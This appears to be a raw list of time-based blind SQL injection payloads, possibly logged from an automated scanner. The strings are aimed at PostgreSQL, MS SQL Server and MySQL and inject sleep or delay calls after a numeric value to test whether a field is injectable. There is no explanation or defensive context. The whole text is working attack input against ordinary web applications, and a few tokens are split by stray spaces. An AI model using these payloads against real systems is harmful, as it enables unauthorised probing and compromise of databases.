555-1)) OR 321=(SELECT 321 FROM PG_SLEEP(15))--

555-1) OR 113=(SELECT 113 FROM PG_SLEEP(15))--

555-1 OR 113=(SELECT 113 FROM PG_SLEEP(15))--

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555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/